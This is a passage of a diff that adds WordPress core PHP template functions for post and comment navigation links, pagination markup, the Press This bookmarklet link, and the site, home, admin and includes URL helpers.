+function get_previous_post_link( $format = '&laquo; %link', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
+	return get_adjacent_post_link( $format, $link, $in_same_term, $excluded_terms, true, $taxonomy );
+}
+
+/**
+ * Display previous post link that is adjacent to the current post.
+ *
+ * @since 1.5.0
+ * @see get_previous_post_link()
+ *
+ * @param string       $format         Optional. Link anchor format.
+ * @param string       $link           Optional. Link permalink format.
+ * @param bool         $in_same_term   Optional. Whether link should be in a same taxonomy term.
+ * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
+ * @param string       $taxonomy       Optional. Taxonomy, if $in_same_term is true. Default 'category'.
+ */
+function previous_post_link( $format = '&laquo; %link', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
+	echo get_previous_post_link( $format, $link, $in_same_term, $excluded_terms, $taxonomy );
+}
+
+/**
+ * Get next post link that is adjacent to the current post.
+ *
+ * @since 3.7.0
+ *
+ * @param string       $format         Optional. Link anchor format.
+ * @param string       $link           Optional. Link permalink format.
+ * @param bool         $in_same_term   Optional. Whether link should be in a same taxonomy term.
+ * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
+ * @param string       $taxonomy       Optional. Taxonomy, if $in_same_term is true. Default 'category'.
+ * @return string The link URL of the next post in relation to the current post.
+ */
+function get_next_post_link( $format = '%link &raquo;', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
+	return get_adjacent_post_link( $format, $link, $in_same_term, $excluded_terms, false, $taxonomy );
+}
+
+/**
+ * Display next post link that is adjacent to the current post.
+ *
+ * @since 1.5.0
+ * @see get_next_post_link()
+ *
+ * @param string       $format         Optional. Link anchor format.
+ * @param string       $link           Optional. Link permalink format.
+ * @param bool         $in_same_term   Optional. Whether link should be in a same taxonomy term.
+ * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
+ * @param string       $taxonomy       Optional. Taxonomy, if $in_same_term is true. Default 'category'.
+ */
+function next_post_link( $format = '%link &raquo;', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
+	 echo get_next_post_link( $format, $link, $in_same_term, $excluded_terms, $taxonomy );
+}
+
+/**
+ * Get adjacent post link.
+ *
+ * Can be either next post link or previous.
+ *
+ * @since 3.7.0
+ *
+ * @param string       $format         Link anchor format.
+ * @param string       $link           Link permalink format.
+ * @param bool         $in_same_term   Optional. Whether link should be in a same taxonomy term.
+ * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded terms IDs.
+ * @param bool         $previous       Optional. Whether to display link to previous or next post. Default true.
+ * @param string       $taxonomy       Optional. Taxonomy, if $in_same_term is true. Default 'category'.
+ * @return string The link URL of the previous or next post in relation to the current post.
+ */
+function get_adjacent_post_link( $format, $link, $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) {
+	if ( $previous && is_attachment() )
+		$post = get_post( get_post()->post_parent );
+	else
+		$post = get_adjacent_post( $in_same_term, $excluded_terms, $previous, $taxonomy );
+
+	if ( ! $post ) {
+		$output = '';
+	} else {
+		$title = $post->post_title;
+
+		if ( empty( $post->post_title ) )
+			$title = $previous ? __( 'Previous Post' ) : __( 'Next Post' );
+
+		/** This filter is documented in wp-includes/post-template.php */
+		$title = apply_filters( 'the_title', $title, $post->ID );
+
+		$date = mysql2date( get_option( 'date_format' ), $post->post_date );
+		$rel = $previous ? 'prev' : 'next';
+
+		$string = '<a href="' . get_permalink( $post ) . '" rel="'.$rel.'">';
+		$inlink = str_replace( '%title', $title, $link );
+		$inlink = str_replace( '%date', $date, $inlink );
+		$inlink = $string . $inlink . '</a>';
+
+		$output = str_replace( '%link', $inlink, $format );
+	}
+
+	$adjacent = $previous ? 'previous' : 'next';
+
+	/**
+	 * Filter the adjacent post link.
+	 *
+	 * The dynamic portion of the hook name, `$adjacent`, refers to the type
+	 * of adjacency, 'next' or 'previous'.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param string  $output The adjacent post link.
+	 * @param string  $format Link anchor format.
+	 * @param string  $link   Link permalink format.
+	 * @param WP_Post $post   The adjacent post.
+	 */
+	return apply_filters( "{$adjacent}_post_link", $output, $format, $link, $post );
+}
+
+/**
+ * Display adjacent post link.
+ *
+ * Can be either next post link or previous.
+ *
+ * @since 2.5.0
+ *
+ * @param string       $format         Link anchor format.
+ * @param string       $link           Link permalink format.
+ * @param bool         $in_same_term   Optional. Whether link should be in a same taxonomy term.
+ * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded category IDs.
+ * @param bool         $previous       Optional. Whether to display link to previous or next post. Default true.
+ * @param string       $taxonomy       Optional. Taxonomy, if $in_same_term is true. Default 'category'.
+ */
+function adjacent_post_link( $format, $link, $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) {
+	echo get_adjacent_post_link( $format, $link, $in_same_term, $excluded_terms, $previous, $taxonomy );
+}
+
+/**
+ * Retrieve links for page numbers.
+ *
+ * @since 1.5.0
+ *
+ * @param int $pagenum Optional. Page ID.
+ * @param bool $escape Optional. Whether to escape the URL for display, with esc_url(). Defaults to true.
+* 	Otherwise, prepares the URL with esc_url_raw().
+ * @return string The link URL for the given page number.
+ */
+function get_pagenum_link($pagenum = 1, $escape = true ) {
+	global $wp_rewrite;
+
+	$pagenum = (int) $pagenum;
+
+	$request = remove_query_arg( 'paged' );
+
+	$home_root = parse_url(home_url());
+	$home_root = ( isset($home_root['path']) ) ? $home_root['path'] : '';
+	$home_root = preg_quote( $home_root, '|' );
+
+	$request = preg_replace('|^'. $home_root . '|i', '', $request);
+	$request = preg_replace('|^/+|', '', $request);
+
+	if ( !$wp_rewrite->using_permalinks() || is_admin() ) {
+		$base = trailingslashit( get_bloginfo( 'url' ) );
+
+		if ( $pagenum > 1 ) {
+			$result = add_query_arg( 'paged', $pagenum, $base . $request );
+		} else {
+			$result = $base . $request;
+		}
+	} else {
+		$qs_regex = '|\?.*?$|';
+		preg_match( $qs_regex, $request, $qs_match );
+
+		if ( !empty( $qs_match[0] ) ) {
+			$query_string = $qs_match[0];
+			$request = preg_replace( $qs_regex, '', $request );
+		} else {
+			$query_string = '';
+		}
+
+		$request = preg_replace( "|$wp_rewrite->pagination_base/\d+/?$|", '', $request);
+		$request = preg_replace( '|^' . preg_quote( $wp_rewrite->index, '|' ) . '|i', '', $request);
+		$request = ltrim($request, '/');
+
+		$base = trailingslashit( get_bloginfo( 'url' ) );
+
+		if ( $wp_rewrite->using_index_permalinks() && ( $pagenum > 1 || '' != $request ) )
+			$base .= $wp_rewrite->index . '/';
+
+		if ( $pagenum > 1 ) {
+			$request = ( ( !empty( $request ) ) ? trailingslashit( $request ) : $request ) . user_trailingslashit( $wp_rewrite->pagination_base . "/" . $pagenum, 'paged' );
+		}
+
+		$result = $base . $request . $query_string;
+	}
+
+	/**
+	 * Filter the page number link for the current request.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $result The page number link.
+	 */
+	$result = apply_filters( 'get_pagenum_link', $result );
+
+	if ( $escape )
+		return esc_url( $result );
+	else
+		return esc_url_raw( $result );
+}
+
+/**
+ * Retrieve next posts page link.
+ *
+ * Backported from 2.1.3 to 2.0.10.
+ *
+ * @since 2.0.10
+ *
+ * @param int $max_page Optional. Max pages.
+ * @return string The link URL for next posts page.
+ */
+function get_next_posts_page_link($max_page = 0) {
+	global $paged;
+
+	if ( !is_single() ) {
+		if ( !$paged )
+			$paged = 1;
+		$nextpage = intval($paged) + 1;
+		if ( !$max_page || $max_page >= $nextpage )
+			return get_pagenum_link($nextpage);
+	}
+}
+
+/**
+ * Display or return the next posts page link.
+ *
+ * @since 0.71
+ *
+ * @param int $max_page Optional. Max pages.
+ * @param boolean $echo Optional. Echo or return;
+ * @return string The link URL for next posts page if `$echo = false`.
+ */
+function next_posts( $max_page = 0, $echo = true ) {
+	$output = esc_url( get_next_posts_page_link( $max_page ) );
+
+	if ( $echo )
+		echo $output;
+	else
+		return $output;
+}
+
+/**
+ * Return the next posts page link.
+ *
+ * @since 2.7.0
+ *
+ * @param string $label Content for link text.
+ * @param int $max_page Optional. Max pages.
+ * @return string|null HTML-formatted next posts page link.
+ */
+function get_next_posts_link( $label = null, $max_page = 0 ) {
+	global $paged, $wp_query;
+
+	if ( !$max_page )
+		$max_page = $wp_query->max_num_pages;
+
+	if ( !$paged )
+		$paged = 1;
+
+	$nextpage = intval($paged) + 1;
+
+	if ( null === $label )
+		$label = __( 'Next Page &raquo;' );
+
+	if ( !is_single() && ( $nextpage <= $max_page ) ) {
+		/**
+		 * Filter the anchor tag attributes for the next posts page link.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param string $attributes Attributes for the anchor tag.
+		 */
+		$attr = apply_filters( 'next_posts_link_attributes', '' );
+
+		return '<a href="' . next_posts( $max_page, false ) . "\" $attr>" . preg_replace('/&([^#])(?![a-z]{1,8};)/i', '&#038;$1', $label) . '</a>';
+	}
+}
+
+/**
+ * Display the next posts page link.
+ *
+ * @since 0.71
+ *
+ * @param string $label Content for link text.
+ * @param int $max_page Optional. Max pages.
+ */
+function next_posts_link( $label = null, $max_page = 0 ) {
+	echo get_next_posts_link( $label, $max_page );
+}
+
+/**
+ * Retrieve previous posts page link.
+ *
+ * Will only return string, if not on a single page or post.
+ *
+ * Backported to 2.0.10 from 2.1.3.
+ *
+ * @since 2.0.10
+ *
+ * @return string|null The link for the previous posts page.
+ */
+function get_previous_posts_page_link() {
+	global $paged;
+
+	if ( !is_single() ) {
+		$nextpage = intval($paged) - 1;
+		if ( $nextpage < 1 )
+			$nextpage = 1;
+		return get_pagenum_link($nextpage);
+	}
+}
+
+/**
+ * Display or return the previous posts page link.
+ *
+ * @since 0.71
+ *
+ * @param boolean $echo Optional. Echo or return;
+ * @return string The previous posts page link if `$echo = false`.
+ */
+function previous_posts( $echo = true ) {
+	$output = esc_url( get_previous_posts_page_link() );
+
+	if ( $echo )
+		echo $output;
+	else
+		return $output;
+}
+
+/**
+ * Return the previous posts page link.
+ *
+ * @since 2.7.0
+ *
+ * @param string $label Optional. Previous page link text.
+ * @return string|null HTML-formatted previous page link.
+ */
+function get_previous_posts_link( $label = null ) {
+	global $paged;
+
+	if ( null === $label )
+		$label = __( '&laquo; Previous Page' );
+
+	if ( !is_single() && $paged > 1 ) {
+		/**
+		 * Filter the anchor tag attributes for the previous posts page link.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param string $attributes Attributes for the anchor tag.
+		 */
+		$attr = apply_filters( 'previous_posts_link_attributes', '' );
+		return '<a href="' . previous_posts( false ) . "\" $attr>". preg_replace( '/&([^#])(?![a-z]{1,8};)/i', '&#038;$1', $label ) .'</a>';
+	}
+}
+
+/**
+ * Display the previous posts page link.
+ *
+ * @since 0.71
+ *
+ * @param string $label Optional. Previous page link text.
+ */
+function previous_posts_link( $label = null ) {
+	echo get_previous_posts_link( $label );
+}
+
+/**
+ * Return post pages link navigation for previous and next pages.
+ *
+ * @since 2.8.0
+ *
+ * @param string|array $args Optional args.
+ * @return string The posts link navigation.
+ */
+function get_posts_nav_link( $args = array() ) {
+	global $wp_query;
+
+	$return = '';
+
+	if ( !is_singular() ) {
+		$defaults = array(
+			'sep' => ' &#8212; ',
+			'prelabel' => __('&laquo; Previous Page'),
+			'nxtlabel' => __('Next Page &raquo;'),
+		);
+		$args = wp_parse_args( $args, $defaults );
+
+		$max_num_pages = $wp_query->max_num_pages;
+		$paged = get_query_var('paged');
+
+		//only have sep if there's both prev and next results
+		if ($paged < 2 || $paged >= $max_num_pages) {
+			$args['sep'] = '';
+		}
+
+		if ( $max_num_pages > 1 ) {
+			$return = get_previous_posts_link($args['prelabel']);
+			$return .= preg_replace('/&([^#])(?![a-z]{1,8};)/i', '&#038;$1', $args['sep']);
+			$return .= get_next_posts_link($args['nxtlabel']);
+		}
+	}
+	return $return;
+
+}
+
+/**
+ * Display post pages link navigation for previous and next pages.
+ *
+ * @since 0.71
+ *
+ * @param string $sep Optional. Separator for posts navigation links.
+ * @param string $prelabel Optional. Label for previous pages.
+ * @param string $nxtlabel Optional Label for next pages.
+ */
+function posts_nav_link( $sep = '', $prelabel = '', $nxtlabel = '' ) {
+	$args = array_filter( compact('sep', 'prelabel', 'nxtlabel') );
+	echo get_posts_nav_link($args);
+}
+
+/**
+ * Return navigation to next/previous post when applicable.
+ *
+ * @since 4.1.0
+ *
+ * @param array $args {
+ *     Optional. Default post navigation arguments. Default empty array.
+ *
+ *     @type string $prev_text          Anchor text to display in the previous post link. Default `%title`.
+ *     @type string $next_text          Anchor text to display in the next post link. Default `%title`.
+ *     @type string $screen_reader_text Screen reader text for nav element. Default 'Post navigation'.
+ * }
+ * @return string Markup for post links.
+ */
+function get_the_post_navigation( $args = array() ) {
+	$args = wp_parse_args( $args, array(
+		'prev_text'          => '%title',
+		'next_text'          => '%title',
+		'screen_reader_text' => __( 'Post navigation' ),
+	) );
+
+	$navigation = '';
+	$previous   = get_previous_post_link( '<div class="nav-previous">%link</div>', $args['prev_text'] );
+	$next       = get_next_post_link( '<div class="nav-next">%link</div>', $args['next_text'] );
+
+	// Only add markup if there's somewhere to navigate to.
+	if ( $previous || $next ) {
+		$navigation = _navigation_markup( $previous . $next, 'post-navigation', $args['screen_reader_text'] );
+	}
+
+	return $navigation;
+}
+
+/**
+ * Display navigation to next/previous post when applicable.
+ *
+ * @since 4.1.0
+ *
+ * @param array $args Optional. See {@see get_the_post_navigation()} for available
+ *                    arguments. Default empty array.
+ */
+function the_post_navigation( $args = array() ) {
+	echo get_the_post_navigation( $args );
+}
+
+/**
+ * Return navigation to next/previous set of posts when applicable.
+ *
+ * @since 4.1.0
+ *
+ * @global WP_Query $wp_query WordPress Query object.
+ *
+ * @param array $args {
+ *     Optional. Default posts navigation arguments. Default empty array.
+ *
+ *     @type string $prev_text          Anchor text to display in the previous posts link.
+ *                                      Default 'Older posts'.
+ *     @type string $next_text          Anchor text to display in the next posts link.
+ *                                      Default 'Newer posts'.
+ *     @type string $screen_reader_text Screen reader text for nav element.
+ *                                      Default 'Posts navigation'.
+ * }
+ * @return string Markup for posts links.
+ */
+function get_the_posts_navigation( $args = array() ) {
+	$navigation = '';
+
+	// Don't print empty markup if there's only one page.
+	if ( $GLOBALS['wp_query']->max_num_pages > 1 ) {
+		$args = wp_parse_args( $args, array(
+			'prev_text'          => __( 'Older posts' ),
+			'next_text'          => __( 'Newer posts' ),
+			'screen_reader_text' => __( 'Posts navigation' ),
+		) );
+
+		$next_link = get_previous_posts_link( $args['next_text'] );
+		$prev_link = get_next_posts_link( $args['prev_text'] );
+
+		if ( $prev_link ) {
+			$navigation .= '<div class="nav-previous">' . $prev_link . '</div>';
+		}
+
+		if ( $next_link ) {
+			$navigation .= '<div class="nav-next">' . $next_link . '</div>';
+		}
+
+		$navigation = _navigation_markup( $navigation, 'posts-navigation', $args['screen_reader_text'] );
+	}
+
+	return $navigation;
+}
+
+/**
+ * Display navigation to next/previous set of posts when applicable.
+ *
+ * @since 4.1.0
+ *
+ * @param array $args Optional. See {@see get_the_posts_navigation()} for available
+ *                    arguments. Default empty array.
+ */
+function the_posts_navigation( $args = array() ) {
+	echo get_the_posts_navigation( $args );
+}
+
+/**
+ * Return a paginated navigation to next/previous set of posts,
+ * when applicable.
+ *
+ * @since 4.1.0
+ *
+ * @param array $args {
+ *     Optional. Default pagination arguments, {@see paginate_links()}.
+ *
+ *     @type string $screen_reader_text Screen reader text for navigation element.
+ *                                      Default 'Posts navigation'.
+ * }
+ * @return string Markup for pagination links.
+ */
+function get_the_posts_pagination( $args = array() ) {
+	$navigation = '';
+
+	// Don't print empty markup if there's only one page.
+	if ( $GLOBALS['wp_query']->max_num_pages > 1 ) {
+		$args = wp_parse_args( $args, array(
+			'mid_size'           => 1,
+			'prev_text'          => _x( 'Previous', 'previous post' ),
+			'next_text'          => _x( 'Next', 'next post' ),
+			'screen_reader_text' => __( 'Posts navigation' ),
+		) );
+
+		// Make sure we get a string back. Plain is the next best thing.
+		if ( isset( $args['type'] ) && 'array' == $args['type'] ) {
+			$args['type'] = 'plain';
+		}
+
+		// Set up paginated links.
+		$links = paginate_links( $args );
+
+		if ( $links ) {
+			$navigation = _navigation_markup( $links, 'pagination', $args['screen_reader_text'] );
+		}
+	}
+
+	return $navigation;
+}
+
+/**
+ * Display a paginated navigation to next/previous set of posts,
+ * when applicable.
+ *
+ * @since 4.1.0
+ *
+ * @param array $args Optional. See {@see get_the_posts_pagination()} for available arguments.
+ *                    Default empty array.
+ */
+function the_posts_pagination( $args = array() ) {
+	echo get_the_posts_pagination( $args );
+}
+
+/**
+ * Wraps passed links in navigational markup.
+ *
+ * @since 4.1.0
+ * @access private
+ *
+ * @param string $links              Navigational links.
+ * @param string $class              Optional. Custom class for nav element. Default: 'posts-navigation'.
+ * @param string $screen_reader_text Optional. Screen reader text for nav element. Default: 'Posts navigation'.
+ * @return string Navigation template tag.
+ */
+function _navigation_markup( $links, $class = 'posts-navigation', $screen_reader_text = '' ) {
+	if ( empty( $screen_reader_text ) ) {
+		$screen_reader_text = __( 'Posts navigation' );
+	}
+
+	$template = '
+	<nav class="navigation %1$s" role="navigation">
+		<h2 class="screen-reader-text">%2$s</h2>
+		<div class="nav-links">%3$s</div>
+	</nav>';
+
+	return sprintf( $template, sanitize_html_class( $class ), esc_html( $screen_reader_text ), $links );
+}
+
+/**
+ * Retrieve comments page number link.
+ *
+ * @since 2.7.0
+ *
+ * @param int $pagenum Optional. Page number.
+ * @param int $max_page Optional. The maximum number of comment pages.
+ * @return string The comments page number link URL.
+ */
+function get_comments_pagenum_link( $pagenum = 1, $max_page = 0 ) {
+	global $wp_rewrite;
+
+	$pagenum = (int) $pagenum;
+
+	$result = get_permalink();
+
+	if ( 'newest' == get_option('default_comments_page') ) {
+		if ( $pagenum != $max_page ) {
+			if ( $wp_rewrite->using_permalinks() )
+				$result = user_trailingslashit( trailingslashit($result) . 'comment-page-' . $pagenum, 'commentpaged');
+			else
+				$result = add_query_arg( 'cpage', $pagenum, $result );
+		}
+	} elseif ( $pagenum > 1 ) {
+		if ( $wp_rewrite->using_permalinks() )
+			$result = user_trailingslashit( trailingslashit($result) . 'comment-page-' . $pagenum, 'commentpaged');
+		else
+			$result = add_query_arg( 'cpage', $pagenum, $result );
+	}
+
+	$result .= '#comments';
+
+	/**
+	 * Filter the comments page number link for the current request.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $result The comments page number link.
+	 */
+	$result = apply_filters( 'get_comments_pagenum_link', $result );
+
+	return $result;
+}
+
+/**
+ * Return the link to next comments page.
+ *
+ * @since 2.7.1
+ *
+ * @param string $label Optional. Label for link text.
+ * @param int $max_page Optional. Max page.
+ * @return string|null HTML-formatted link for the next page of comments.
+ */
+function get_next_comments_link( $label = '', $max_page = 0 ) {
+	global $wp_query;
+
+	if ( !is_singular() || !get_option('page_comments') )
+		return;
+
+	$page = get_query_var('cpage');
+
+	$nextpage = intval($page) + 1;
+
+	if ( empty($max_page) )
+		$max_page = $wp_query->max_num_comment_pages;
+
+	if ( empty($max_page) )
+		$max_page = get_comment_pages_count();
+
+	if ( $nextpage > $max_page )
+		return;
+
+	if ( empty($label) )
+		$label = __('Newer Comments &raquo;');
+
+	/**
+	 * Filter the anchor tag attributes for the next comments page link.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $attributes Attributes for the anchor tag.
+	 */
+	return '<a href="' . esc_url( get_comments_pagenum_link( $nextpage, $max_page ) ) . '" ' . apply_filters( 'next_comments_link_attributes', '' ) . '>'. preg_replace('/&([^#])(?![a-z]{1,8};)/i', '&#038;$1', $label) .'</a>';
+}
+
+/**
+ * Display the link to next comments page.
+ *
+ * @since 2.7.0
+ *
+ * @param string $label Optional. Label for link text.
+ * @param int $max_page Optional. Max page.
+ */
+function next_comments_link( $label = '', $max_page = 0 ) {
+	echo get_next_comments_link( $label, $max_page );
+}
+
+/**
+ * Return the previous comments page link.
+ *
+ * @since 2.7.1
+ *
+ * @param string $label Optional. Label for comments link text.
+ * @return string|null HTML-formatted link for the previous page of comments.
+ */
+function get_previous_comments_link( $label = '' ) {
+	if ( !is_singular() || !get_option('page_comments') )
+		return;
+
+	$page = get_query_var('cpage');
+
+	if ( intval($page) <= 1 )
+		return;
+
+	$prevpage = intval($page) - 1;
+
+	if ( empty($label) )
+		$label = __('&laquo; Older Comments');
+
+	/**
+	 * Filter the anchor tag attributes for the previous comments page link.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $attributes Attributes for the anchor tag.
+	 */
+	return '<a href="' . esc_url( get_comments_pagenum_link( $prevpage ) ) . '" ' . apply_filters( 'previous_comments_link_attributes', '' ) . '>' . preg_replace('/&([^#])(?![a-z]{1,8};)/i', '&#038;$1', $label) .'</a>';
+}
+
+/**
+ * Display the previous comments page link.
+ *
+ * @since 2.7.0
+ *
+ * @param string $label Optional. Label for comments link text.
+ */
+function previous_comments_link( $label = '' ) {
+	echo get_previous_comments_link( $label );
+}
+
+/**
+ * Create pagination links for the comments on the current post.
+ *
+ * @see paginate_links()
+ * @since 2.7.0
+ *
+ * @param string|array $args Optional args. See paginate_links().
+ * @return string Markup for pagination links.
+*/
+function paginate_comments_links($args = array()) {
+	global $wp_rewrite;
+
+	if ( !is_singular() || !get_option('page_comments') )
+		return;
+
+	$page = get_query_var('cpage');
+	if ( !$page )
+		$page = 1;
+	$max_page = get_comment_pages_count();
+	$defaults = array(
+		'base' => add_query_arg( 'cpage', '%#%' ),
+		'format' => '',
+		'total' => $max_page,
+		'current' => $page,
+		'echo' => true,
+		'add_fragment' => '#comments'
+	);
+	if ( $wp_rewrite->using_permalinks() )
+		$defaults['base'] = user_trailingslashit(trailingslashit(get_permalink()) . 'comment-page-%#%', 'commentpaged');
+
+	$args = wp_parse_args( $args, $defaults );
+	$page_links = paginate_links( $args );
+
+	if ( $args['echo'] )
+		echo $page_links;
+	else
+		return $page_links;
+}
+
+/**
+ * Retrieve the Press This bookmarklet link.
+ *
+ * Use this in 'a' element 'href' attribute.
+ *
+ * @since 2.6.0
+ *
+ * @return string The Press This bookmarklet link URL.
+ */
+function get_shortcut_link() {
+	// In case of breaking changes, version this. #WP20071
+	$link = "javascript:
+			var d=document,
+			w=window,
+			e=w.getSelection,
+			k=d.getSelection,
+			x=d.selection,
+			s=(e?e():(k)?k():(x?x.createRange().text:0)),
+			f='" . admin_url('press-this.php') . "',
+			l=d.location,
+			e=encodeURIComponent,
+			u=f+'?u='+e(l.href)+'&t='+e(d.title)+'&s='+e(s)+'&v=4';
+			a=function(){if(!w.open(u,'t','toolbar=0,resizable=1,scrollbars=1,status=1,width=720,height=570'))l.href=u;};
+			if (/Firefox/.test(navigator.userAgent)) setTimeout(a, 0); else a();
+			void(0)";
+
+	$link = str_replace(array("\r", "\n", "\t"),  '', $link);
+
+	/**
+	 * Filter the Press This bookmarklet link.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param string $link The Press This bookmarklet link.
+	 */
+	return apply_filters( 'shortcut_link', $link );
+}
+
+/**
+ * Retrieve the home url for the current site.
+ *
+ * Returns the 'home' option with the appropriate protocol, 'https' if
+ * {@see is_ssl()} and 'http' otherwise. If `$scheme` is 'http' or 'https',
+ * `is_ssl()` is overridden.
+ *
+ * @since 3.0.0
+ *
+ * @param  string $path   Optional. Path relative to the home url. Default empty.
+ * @param  string $scheme Optional. Scheme to give the home url context. Accepts
+ *                        'http', 'https', or 'relative'. Default null.
+ * @return string Home url link with optional path appended.
+*/
+function home_url( $path = '', $scheme = null ) {
+	return get_home_url( null, $path, $scheme );
+}
+
+/**
+ * Retrieve the home url for a given site.
+ *
+ * Returns the 'home' option with the appropriate protocol, 'https' if
+ * {@see is_ssl()} and 'http' otherwise. If `$scheme` is 'http' or 'https',
+ * `is_ssl()` is
+ * overridden.
+ *
+ * @since 3.0.0
+ *
+ * @param  int         $blog_id     Optional. Blog ID. Default null (current blog).
+ * @param  string      $path        Optional. Path relative to the home URL. Default empty.
+ * @param  string|null $orig_scheme Optional. Scheme to give the home URL context. Accepts
+ *                                  'http', 'https', 'relative', or null. Default null.
+ * @return string Home URL link with optional path appended.
+*/
+function get_home_url( $blog_id = null, $path = '', $scheme = null ) {
+	$orig_scheme = $scheme;
+
+	if ( empty( $blog_id ) || !is_multisite() ) {
+		$url = get_option( 'home' );
+	} else {
+		switch_to_blog( $blog_id );
+		$url = get_option( 'home' );
+		restore_current_blog();
+	}
+
+	if ( ! in_array( $scheme, array( 'http', 'https', 'relative' ) ) ) {
+		if ( is_ssl() && ! is_admin() && 'wp-login.php' !== $GLOBALS['pagenow'] )
+			$scheme = 'https';
+		else
+			$scheme = parse_url( $url, PHP_URL_SCHEME );
+	}
+
+	$url = set_url_scheme( $url, $scheme );
+
+	if ( $path && is_string( $path ) )
+		$url .= '/' . ltrim( $path, '/' );
+
+	/**
+	 * Filter the home URL.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string      $url         The complete home URL including scheme and path.
+	 * @param string      $path        Path relative to the home URL. Blank string if no path is specified.
+	 * @param string|null $orig_scheme Scheme to give the home URL context. Accepts 'http', 'https', 'relative' or null.
+	 * @param int|null    $blog_id     Blog ID, or null for the current blog.
+	 */
+	return apply_filters( 'home_url', $url, $path, $orig_scheme, $blog_id );
+}
+
+/**
+ * Retrieve the site url for the current site.
+ *
+ * Returns the 'site_url' option with the appropriate protocol, 'https' if
+ * is_ssl() and 'http' otherwise. If $scheme is 'http' or 'https', is_ssl() is
+ * overridden.
+ *
+ * @since 3.0.0
+ *
+ * @param string $path Optional. Path relative to the site url.
+ * @param string $scheme Optional. Scheme to give the site url context. See set_url_scheme().
+ * @return string Site url link with optional path appended.
+*/
+function site_url( $path = '', $scheme = null ) {
+	return get_site_url( null, $path, $scheme );
+}
+
+/**
+ * Retrieve the site url for a given site.
+ *
+ * Returns the 'site_url' option with the appropriate protocol, 'https' if
+ * {@see is_ssl()} and 'http' otherwise. If `$scheme` is 'http' or 'https',
+ * `is_ssl()` is overridden.
+ *
+ * @since 3.0.0
+ *
+ * @param int    $blog_id Optional. Blog ID. Default null (current site).
+ * @param string $path    Optional. Path relative to the site url. Default empty.
+ * @param string $scheme  Optional. Scheme to give the site url context. Accepts
+ *                        'http', 'https', 'login', 'login_post', 'admin', or
+ *                        'relative'. Default null.
+ * @return string Site url link with optional path appended.
+*/
+function get_site_url( $blog_id = null, $path = '', $scheme = null ) {
+	if ( empty( $blog_id ) || !is_multisite() ) {
+		$url = get_option( 'siteurl' );
+	} else {
+		switch_to_blog( $blog_id );
+		$url = get_option( 'siteurl' );
+		restore_current_blog();
+	}
+
+	$url = set_url_scheme( $url, $scheme );
+
+	if ( $path && is_string( $path ) )
+		$url .= '/' . ltrim( $path, '/' );
+
+	/**
+	 * Filter the site URL.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string      $url     The complete site URL including scheme and path.
+	 * @param string      $path    Path relative to the site URL. Blank string if no path is specified.
+	 * @param string|null $scheme  Scheme to give the site URL context. Accepts 'http', 'https', 'login',
+	 *                             'login_post', 'admin', 'relative' or null.
+	 * @param int|null    $blog_id Blog ID, or null for the current blog.
+	 */
+	return apply_filters( 'site_url', $url, $path, $scheme, $blog_id );
+}
+
+/**
+ * Retrieve the url to the admin area for the current site.
+ *
+ * @since 2.6.0
+ *
+ * @param string $path Optional path relative to the admin url.
+ * @param string $scheme The scheme to use. Default is 'admin', which obeys force_ssl_admin() and is_ssl(). 'http' or 'https' can be passed to force those schemes.
+ * @return string Admin url link with optional path appended.
+*/
+function admin_url( $path = '', $scheme = 'admin' ) {
+	return get_admin_url( null, $path, $scheme );
+}
+
+/**
+ * Retrieves the url to the admin area for a given site.
+ *
+ * @since 3.0.0
+ *
+ * @param int    $blog_id Optional. Blog ID. Default null (current site).
+ * @param string $path    Optional. Path relative to the admin url. Default empty.
+ * @param string $scheme  Optional. The scheme to use. Accepts 'http' or 'https',
+ *                        to force those schemes. Default 'admin', which obeys
+ *                        {@see force_ssl_admin()} and {@see is_ssl()}.
+ * @return string Admin url link with optional path appended.
+*/
+function get_admin_url( $blog_id = null, $path = '', $scheme = 'admin' ) {
+	$url = get_site_url($blog_id, 'wp-admin/', $scheme);
+
+	if ( $path && is_string( $path ) )
+		$url .= ltrim( $path, '/' );
+
+	/**
+	 * Filter the admin area URL.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string   $url     The complete admin area URL including scheme and path.
+	 * @param string   $path    Path relative to the admin area URL. Blank string if no path is specified.
+	 * @param int|null $blog_id Blog ID, or null for the current blog.
+	 */
+	return apply_filters( 'admin_url', $url, $path, $blog_id );
+}
+
+/**
+ * Retrieve the url to the includes directory.
+ *
+ * @since 2.6.0
+ *
+ * @param string $path Optional. Path relative to the includes url.
+ * @param string $scheme Optional. Scheme to give the includes url context.
+ * @return string Includes url link with optional path appended.
+*/
+function includes_url( $path = '', $scheme = null ) {
+	$url = site_url( '/' . WPINC . '/', $scheme );
+
+	if ( $path && is_string( $path ) )
+		$url .= ltrim($path, '/');
+
+	/**
+	 * Filter the URL to the includes directory.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $url  The complete URL to the includes directory including scheme and path.
+	 * @param string $path Path relative to the URL to the wp-includes directory. Blank string
+	 *                     if no path is specified.
+	 */
+	return apply_filters( 'includes_url', $url, $path );
+}
+
+/**
+ * Retrieve the url to the content directory.
+ *
+ * @since 2.6.0
+ *
+ * @param string $path Optional. Path relative to the content url.
+ * @return string Content url link with optional path appended.
+*/
+function content_url($path = '') {
+	$url = set_url_scheme( WP_CONTENT_URL );
+
+	if ( $path && is_string( $path ) )
+		$url .= '/' . ltrim($path, '/');
+
+	/**
